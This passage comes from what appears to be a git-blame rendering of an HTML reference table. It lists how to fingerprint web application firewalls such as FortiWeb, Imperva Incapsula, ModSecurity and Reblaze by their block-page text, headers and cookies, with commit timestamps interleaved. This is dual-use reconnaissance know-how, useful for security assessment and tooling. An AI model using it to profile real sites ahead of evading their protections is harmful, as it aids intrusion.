< ul >
< li > Blocked response content contains value< br > < code > Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon)< / code > .< / li >
< li > Blocked response code returns < code > 400 Bad Request< / code > on malicious requests.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
Eisoo Cloud
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page content may contain:< / li >
< ul >
< li > < code > /eisoo-firewall-block.css< / code > reference.< / li >
< li > < code > www.eisoo.com< / code > URL.< / li >
< li > < code > © (year) Eisoo Inc.< / code > keyword.< / li >
< / ul >
< li > < code > Server< / code > header has field value set to < code > EisooWAF-AZURE/EisooWAF< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
Expression Engine
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-19 12:11:32 +07:00
< li > Blocked response page returns < code > Invalid URI< / code > generally.< / li >
2019-01-29 20:27:54 +07:00
< li > Blocked response content contains value < code > Invalid GET Request< / code > upon malicious GET queries.< / li >
2019-05-22 12:42:18 +07:00
< li > Blocked POST type queries contain < code > Invalid Data< / code > in response content.< / li >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-07-15 17:17:34 +07:00
< tr >
< td >
F5 ASM
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response content contains warning< br >
< code > The requested URL was rejected. Please consult with your administrator.< / code >
< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-29 20:27:54 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
FortiWeb
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers contain < code > FORTIWAFSID=< / code > on malicious requests.< / li >
2019-03-19 12:11:32 +07:00
< li > Blocked response page contains:< / li >
< ul >
< li > Reference to < code > .fgd_icon< / code > image icon.< / li >
< li > < code > Server Unavailable!< / code > as heading.< / li >
< li > < code > Server unavailable. Please visit later.< / code > as text.< / li >
< / ul >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-02-07 19:54:28 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
GoDaddy
2019-02-07 19:54:28 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-19 12:11:32 +07:00
< li > Blocked response page contains value< br > < code > Access Denied - GoDaddy Website Firewall< / code > .< / li >
2019-02-07 19:54:28 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-03-02 20:40:08 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
GreyWizard
2019-03-02 20:40:08 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2020-08-15 13:37:39 +07:00
< li > Blocked response page contains:
2019-03-19 12:11:32 +07:00
< ul >
< li > < code > Grey Wizard< / code > as title.< / li >
< li > < code > Contact the website owner or Grey Wizard< / code > text snippet.< / li >
< li > < code > We've detected attempted attack or non standard traffic from your IP address< / code > text snippet.< / li >
< / ul >
< / li >
2019-04-08 19:25:43 +07:00
< li > < code > Server< / code > header contain < code > greywizard< / code > keyword.< / li >
2019-03-02 20:40:08 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-06-17 10:42:55 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Huawei Cloud
2019-06-17 10:42:55 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains:< / li >
< ul >
2019-06-17 10:44:49 +07:00
< li > Reference to < code > account.hwclouds.com/static/error/images/404img.jpg< / code > error image.< / li >
2019-06-17 10:42:55 +07:00
< li > Reference to < code > www.hwclouds.com< / code > URL.< / li >
< li > Reference to < code > hws_security@{site.tld}< / code > e-mail for reporting.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-29 20:27:54 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
HyperGuard
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Set-Cookie< / code > header has cookie field < code > ODSESSION=< / code > in response headers.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-02 20:40:08 +07:00
< tr >
< td >
IBM DataPower
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers contains field value value < code > X-Backside-Transport< / code > with value < code > OK< / code > or < code > FAIL< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-29 20:27:54 +07:00
< tr >
< td >
2019-06-05 14:14:22 +07:00
Imperva Incapsula
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page content may contain:< / li >
< ul >
2019-02-27 14:58:29 +07:00
< li > < code > Powered By Incapsula< / code > text snippet.< / li >
2019-01-29 20:27:54 +07:00
< li > < code > Incapsula incident ID< / code > keyword.< / li >
< li > < code > _Incapsula_Resource< / code > keyword.< / li >
< li > < code > subject=WAF Block Page< / code > keyword.< / li >
< / ul >
< li > Normal GET request headers contain < code > visid_incap< / code > value.< / li >
< li > Response headers may contain < code > X-Iinfo< / code > header field name.< / li >
2019-03-29 11:05:20 +07:00
< li > < code > Set-Cookie< / code > header has cookie field < code > incap_ses< / code > and < code > visid_incap< / code > .< / li >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-02-07 19:54:28 +07:00
< tr >
< td >
2021-01-12 23:17:55 +07:00
Imunify360
2019-02-07 19:54:28 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-04-08 19:25:43 +07:00
< li > < code > Server< / code > header contain < code > imunify360-webshield< / code > keyword.< / li >
2019-02-07 19:54:28 +07:00
< li > Response page contains:< / li >
< ul >
2019-02-22 20:27:56 +07:00
< li > < code > Powered by Imunify360< / code > text snippet.< / li >
2019-02-07 19:54:28 +07:00
< li > < code > imunify360 preloader< / code > if response type is JSON.< / li >
< / ul >
< li > Blocked response page contains < code > protected by Imunify360< / code > text.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-10-04 14:16:58 +07:00
< tr >
< td >
IndusGuard
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header contains value < code > IF_WAF< / code > .< / li >
< li > Blocked response content contains warning< br > < code > further investigation and remediation with a screenshot of this page.< / code > < / li >
< li > Response headers contain a unique header < code > X-Version< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-06-05 14:14:22 +07:00
< tr >
< td >
Instart DX
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers contain < code > X-Instart-Request-ID< / code > unique header.< / li >
< li > Response headers contain < code > X-Instart-WL< / code > unique header fingerprint.< / li >
< li > Response headers contain < code > X-Instart-Cache< / code > unique header fingerprint.< / li >
< li > Blocked response page contains < code > The requested URL was rejected. Please consult with your administrator.< / code > text.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-02-11 20:52:49 +07:00
< tr >
< td >
2019-05-22 12:48:52 +07:00
ISA Server
2019-02-11 20:52:49 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response page contains:< / li >
< ul >
2019-02-22 20:27:56 +07:00
< li > < code > The ISA Server denied the specified Uniform Resource Locator (URL)< / code > text snippet.< / li >
< li > < code > The server denied the specified Uniform Resource Locator (URL). Contact the server administrator.< / code > text snippet< / li >
2019-02-11 20:52:49 +07:00
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-02-07 19:54:28 +07:00
< tr >
< td >
Janusec Application Gateway
< / td >
< td >
< ul >
2019-03-19 12:11:32 +07:00
< li > < b > Detectability: < / b > Easy< / li >
2019-02-07 19:54:28 +07:00
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-19 12:11:32 +07:00
< li > Blocked response page has image displaying < code > JANUSEC< / code > name and logo.< / li >
2019-02-07 19:54:28 +07:00
< li > Blocked response page displays < code > Janusec Application Gateway< / code > on malicious requests.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-29 20:27:54 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
Jiasule
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains reference to < code > static.jiasule.com/static/js/http_error.js< / code > URL.< / li >
2019-04-08 19:25:43 +07:00
< li > < code > Set-Cookie< / code > header has cookie field < code > __jsluid=< / code > or < code > jsl_tracking< / code > in response headers.< / li >
< li > < code > Server< / code > header has < code > jiasule-WAF< / code > keywords.< / li >
2019-01-29 20:27:54 +07:00
< li > Blocked response content has < code > notice-jiasule< / code > keyword.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-08-23 18:22:14 +07:00
< tr >
< td >
KeyCDN
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header contains < code > KeyCDN< / code > keyword.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-29 20:27:54 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
KnownSec
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
2019-04-03 14:14:03 +07:00
< li > < b > Detectability: < / b > Easy< / li >
2019-01-29 20:27:54 +07:00
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page displays < code > ks-waf-error.png< / code > image (view source to see).< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
KONA Site Defender (Akamai)
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-04-03 14:14:03 +07:00
< li > < code > Server< / code > header contains < code > AkamaiGHost< / code > keyword.< / li >
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-03-19 13:52:21 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
LiteSpeed
2019-03-19 13:52:21 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header has value set to < code > LiteSpeed< / code > .< / li >
< li > < code > Response page contains:< / code > < / li >
< ul >
< li > < code > Proudly powered by LiteSpeed Web Server< / code > text.< / li >
< li > Reference to < code > http://www.litespeedtech.com/error-page< / code > < / li >
< li > < code > Access to resource on this server is denied.< / code > < / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-02-11 20:52:49 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Malcare
2019-02-11 20:52:49 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-06 20:08:11 +07:00
< li > Blocked response page may contains:
2019-02-11 20:52:49 +07:00
< ul >
2019-02-22 20:27:56 +07:00
< li > < code > Blocked because of Malicious Activities< / code > text snippet.< / li >
< li > < code > Firewall powered by MalCare< / code > text snippet.< / li >
2019-02-11 20:52:49 +07:00
< / ul >
2019-03-06 20:08:11 +07:00
< / li >
2019-02-11 20:52:49 +07:00
< / ul >
< / ul >
< / td >
2019-03-06 20:08:11 +07:00
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
MissionControl Application Shield
2019-03-06 20:08:11 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-04-03 14:14:03 +07:00
< li > < code > Server< / code > header field contains < code > Mission Control Application Shield< / code > value.< / li >
2019-03-06 20:08:11 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-01-29 20:27:54 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
ModSecurity
2019-01-29 20:27:54 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate/Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains:< / li >
< ul >
2019-02-22 20:27:56 +07:00
< li > < code > This error was generated by Mod_Security< / code > text snippet.< / li >
< li > < code > One or more things in your request were suspicious< / code > text snippet.< / li >
< li > < code > rules of the mod_security module< / code > text snippet.< / li >
2019-04-02 22:13:16 +07:00
< li > < code > mod_security rules triggered< / code > text snippet.< / li >
< li > Reference to < code > /modsecurity-errorpage/< / code > directory.< / li >
2019-01-29 20:27:54 +07:00
< / ul >
2019-03-29 11:05:20 +07:00
< li > < code > Server< / code > header may contain < code > Mod_Security< / code > or < code > NYOB< / code > keywords.< / li >
2019-04-02 22:13:16 +07:00
< li > Sometimes, the response code to an attack is < code > 403< / code > while the response phrase is < code > ModSecurity Action< / code > .
2019-01-29 20:27:54 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
ModSecurity CRS
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blockpage occurs on adding a separate request header < code > X-Scanner< / code > when set to a particular paranoa level.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
NAXSI
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2020-08-15 13:37:39 +07:00
< li > Blocked response page contains < code > This Request Has Been Blocked By NAXSI< / code > .< / li >
2019-02-11 20:52:49 +07:00
< li > Response headers contain unusual field < code > X-Data-Origin< / code > with value < code > naxsi/waf< / code > keyword.< / li >
2019-03-29 11:05:20 +07:00
< li > < code > Server< / code > header contains < code > naxsi/waf< / code > keyword value.< / li >
2019-05-22 12:48:52 +07:00
< li > Blocked response page may contain < code > NAXSI blocked information< / code > error code.< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-04-02 22:09:40 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
Nemesida
2019-04-02 22:09:40 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2020-08-15 13:37:39 +07:00
< li > Blocked response page contains < code > Suspicious activity detected. Access to the site is blocked.< / code > .< / li >
2019-04-02 22:09:40 +07:00
< li > Contains reference to email < code > nwaf@{site.tld}< / code > < / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Netcontinuum
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Session cookies contain < code > NCI__SessionId=< / code > cookie field name.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-06 20:08:11 +07:00
< tr >
< td >
2019-05-22 12:48:52 +07:00
NetScaler AppFirewall
2019-03-06 20:08:11 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-05-22 12:48:52 +07:00
< li > Response headers may contain< / li >
< ul >
< li > < code > Connection:< / code > header field name jumbled to < code > nnCoection:< / code > < / li >
< li > < code > ns_af=< / code > cookie field name.< / li >
< li > < code > citrix_ns_id< / code > field name.< / li >
< li > < code > NSC_< / code > keyword.< / li >
< li > < code > NS-CACHE< / code > field value.< / li >
< / ul >
2019-03-06 20:08:11 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-02-11 20:52:49 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
NevisProxy
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-05-22 12:48:52 +07:00
< li > Response header cookies contain < code > Navajo< / code > keyword.< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-05-22 12:42:18 +07:00
NewDefend
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-19 12:11:32 +07:00
< li > Response page contains:< / li >
< ul >
< li > Reference to < code > http://www.newdefend.com/feedback/misinformation/< / code > URL.< / li >
< li > Reference to < code > /nd_block/< / code > directory.< / li >
< / ul >
< li > < code > Server< / code > header contains < code > NewDefend< / code > keyword.< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-05-22 12:48:52 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Nexusguard
2019-05-22 12:48:52 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page has reference to < code > speresources.nexusguard.com/wafpage/index.html< / code > URL.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-19 12:29:20 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
NinjaFirewall
2019-03-19 12:29:20 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response page title contains < code > NinjaFirewall: 403 Forbidden< / code > .< / li >
< li > Response page contains:
< ul >
< li > < code > For security reasons, it was blocked and logged< / code > text snippet.< / li >
< li > < code > NinjaFirewall< / code > keyword in title.< / li >
< / ul >
< / li >
< li > Returns a < code > 403 Forbidden< / code > response upon malicious requests.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
NSFocus
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-29 11:05:20 +07:00
< li > < code > Server< / code > header contain < code > NSFocus< / code > keyword.< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-02-11 20:52:49 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
NullDDoS
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header contains the < code > NullDDoS System< / code > keyword.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
onMessage Shield
2019-02-11 20:52:49 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-06 20:08:11 +07:00
< li > Response headers contain header < code > X-Engine< / code > field with value < code > onMessage Shield< / code > .< / li >
2019-03-19 12:29:20 +07:00
< li > Blocked response page contains:< / li >
< ul >
< li > < code > Blackbaud K-12 conducts routine maintenance< / code > keyword.< / li >
< li > < code > This site is protected by an enhanced security system< / code > .< / li >
< li > Reference to < code > https://status.blackbaud.com< / code > URL.< / li >
< li > Reference to < code > https://maintenance.blackbaud.com< / code > URL.< / li >
< / ul >
2019-02-11 20:52:49 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-04-21 14:19:07 +07:00
< tr >
< td >
OpenResty Lua WAF
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header contains < code > openresty/{version}< / code > keyword.< / li >
< li > Blocked response page contains < code > openresty/{version}< / code > text.< / li >
< li > Blocked response code returned is < code > 406 Not Acceptable< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
Palo Alto
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
2019-03-19 12:29:20 +07:00
< li > < b > Detectability: < / b > Moderate< / li >
2019-01-30 11:09:05 +07:00
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-19 12:29:20 +07:00
< li > Blocked response page contains < code > Virus/Spyware Download Blocked< / code > .< / li >
2019-04-13 21:27:37 +07:00
< li > Response page might contain < code > Palo Alto Next Generation Security Platform< / code > text snippet.< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
2019-02-07 19:54:28 +07:00
< / td >
< / tr >
2019-10-04 14:16:58 +07:00
< tr >
< td >
PentaWAF
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Server< / code > header contains < code > PentaWAF/{version}< / code > keyword.< / li >
< li > Blocked response page contains text < code > PentaWAF/{version}< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-05-22 13:57:46 +07:00
< tr >
< td >
PerimeterX
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains reference to< br > < code > https://www.perimeterx.com/whywasiblocked< / code > URL.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-10-04 14:16:58 +07:00
< tr >
< td >
pkSecurityModule IDS
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response content may contain< / li >
< ul >
< li > < code > pkSecurityModule: Security.Alert< / code > .< / li >
< li > < code > A safety critical request was discovered and blocked< / code > text snippet.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-05-22 13:57:46 +07:00
< tr >
< td >
Positive Technologies Application Firewall
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page contains < code > Forbidden< / code > in < code > h1< / code > followed by:< / li >
< li > < code > Request ID:< / code > in format < code > yyyy-mm-dd-hh-mm-ss-{ref. code}< / code > < / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-10-04 14:16:58 +07:00
< tr >
< td >
PowerCDN
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response headers may contain< / li >
< ul >
< li > < code > Via< / code > header with content < code > powercdn.com< / code > .< / li >
< li > < code > X-Cache< / code > header with content < code > powercdn.com< / code > .< / li >
< li > < code > X-CDN< / code > header with content < code > PowerCDN< / code > .< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
Profense
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
2019-03-06 20:08:11 +07:00
< li > < b > Detectability: < / b > Easy< / li >
2019-01-30 11:09:05 +07:00
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > < code > Set-Cookie< / code > headers contain < code > PLBSID=< / code > cookie field name.< / li >
2019-03-06 20:08:11 +07:00
< li > < code > Server< / code > header contain < code > Profense< / code > keyword.< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-02-26 22:46:40 +07:00
< tr >
< td >
Proventia (IBM)
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Difficult< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Blocked response page might contain to < code > request does not match Proventia rules< / code > text snippet.< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-02 20:40:08 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
Puhui
2019-03-02 20:40:08 +07:00
< / td >
< td >
< ul >
2019-10-04 14:16:58 +07:00
< li > < b > Detectability: < / b > Easy< / li >
2019-03-02 20:40:08 +07:00
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-10-04 14:16:58 +07:00
< li > < code > Server< / code > header contain < code > PuhuiWAF< / code > keyword.< / li >
2019-03-02 20:40:08 +07:00
< / ul >
< / ul >
< / td >
< / tr >
2019-08-23 18:22:14 +07:00
< tr >
< td >
Qiniu CDN
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response content may contain< / li >
< ul >
< li > Response headers contain unusual header < code > X-Qiniu-CDN< / code > with value set to either < code > 0< / code > or < code > 1< / code > .< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
Radware Appwall
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-02-22 20:27:56 +07:00
< li > Response page contains the following text snippet:< br > < code > Unauthorized Activity Has Been Detected.< / code > and < code > Case Number< / code > < / li >
2019-07-21 23:50:56 +07:00
< li > Blocked response page has reference to < code > radwarealerting@{site.tld}< / code > email.< / li >
< li > Blocked response page has title set to < code > Unauthorized Request Blocked< / code > .< / li >
2019-01-30 11:09:05 +07:00
< li > Response headers may contain < code > X-SL-CompState< / code > header field name.< / li >
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-05-22 12:42:18 +07:00
Reblaze
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Moderate< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-04-13 21:27:37 +07:00
< li > Cookies in response headers contain < code > rbzid=< / code > header field name.< / li >
< li > < code > Server< / code > field value might contain < code > Reblaze Secure Web Gateway< / code > text snippet.< / li >
2019-03-19 12:29:20 +07:00
< li > Response page contains:< / li >
< ul >
2019-04-13 21:27:37 +07:00
< li > < code > Access Denied (403)< / code > in bold.< / li >
2019-03-19 12:29:20 +07:00
< li > < code > Current session has been terminated< / code > text.< / li >
2019-04-13 21:27:37 +07:00
< li > < code > For further information, do not hesitate to contact us< / code > .< / li >
2019-03-19 12:29:20 +07:00
< / ul >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
2019-10-04 14:16:58 +07:00
Request Validation Mode
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > A firewall found specifically on ASP.NET websites and none others.< / li >
2019-02-22 20:27:56 +07:00
< li > Response page contains either of the following text snippet:< / li >
2019-01-30 11:09:05 +07:00
< ul >
< li > < code > ASP.NET has detected data in the request that is potentially dangerous.< / code > < / li >
< li > < code > Request Validation has detected a potentially dangerous client input value.< / code > < / li >
< li > < code > HttpRequestValidationException.< / code > < / li >
< / ul >
< li > Blocked response code returned is always < code > 500 Internal Error< / code > .< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-02-07 19:54:28 +07:00
< tr >
< td >
2019-10-04 14:16:58 +07:00
RSFirewall
2019-02-07 19:54:28 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Response page contains:< / li >
< ul >
< li > < code > COM_RSFIREWALL_403_FORBIDDEN< / code > keyword.< / li >
< li > < code > COM_RSFIREWALL_EVENT< / code > keyword.< / li >
< / ul >
< / ul >
< / ul >
< / td >
< / tr >
2019-03-02 20:40:08 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
Sabre
2019-03-02 20:40:08 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
< li > Returns status code < code > 500 Internal Error< / code > upon malicious requests.< / li >
< li > Response content has:
< ul >
< li > Contact email < code > dxsupport@sabre.com< / code > .< / li >
< li > < code > Your request has been blocked< / code > bold warning.< / li >
< li > < code > clicking the above email link will automatically add some important details to the email for us to investigate the problem< / code > text snippet.< / li >
< / ul >
< / li >
< / ul >
< / ul >
< / td >
< / tr >
2019-01-30 11:09:05 +07:00
< tr >
< td >
2019-05-22 12:42:18 +07:00
Safe3
2019-01-30 11:09:05 +07:00
< / td >
< td >
< ul >
< li > < b > Detectability: < / b > Easy< / li >
< li > < b > Detection Methodology:< / b > < / li >
< ul >
2019-03-19 12:29:20 +07:00
< li > Response headers contain:< / li >
< ul >
< li > < code > X-Powered-By< / code > header has field value < code > Safe3WAF< / code > .< / li >
< li > < code > Server< / code > header contains field value set to < code > Safe3 Web Firewall< / code > .< / li >
< / ul >
< li > Response page contains < code > Safe3waf< / code > keyword.< / li >
2019-01-30 11:09:05 +07:00
< / ul >
< / ul >
< / td >
< / tr >
< tr >
< td >
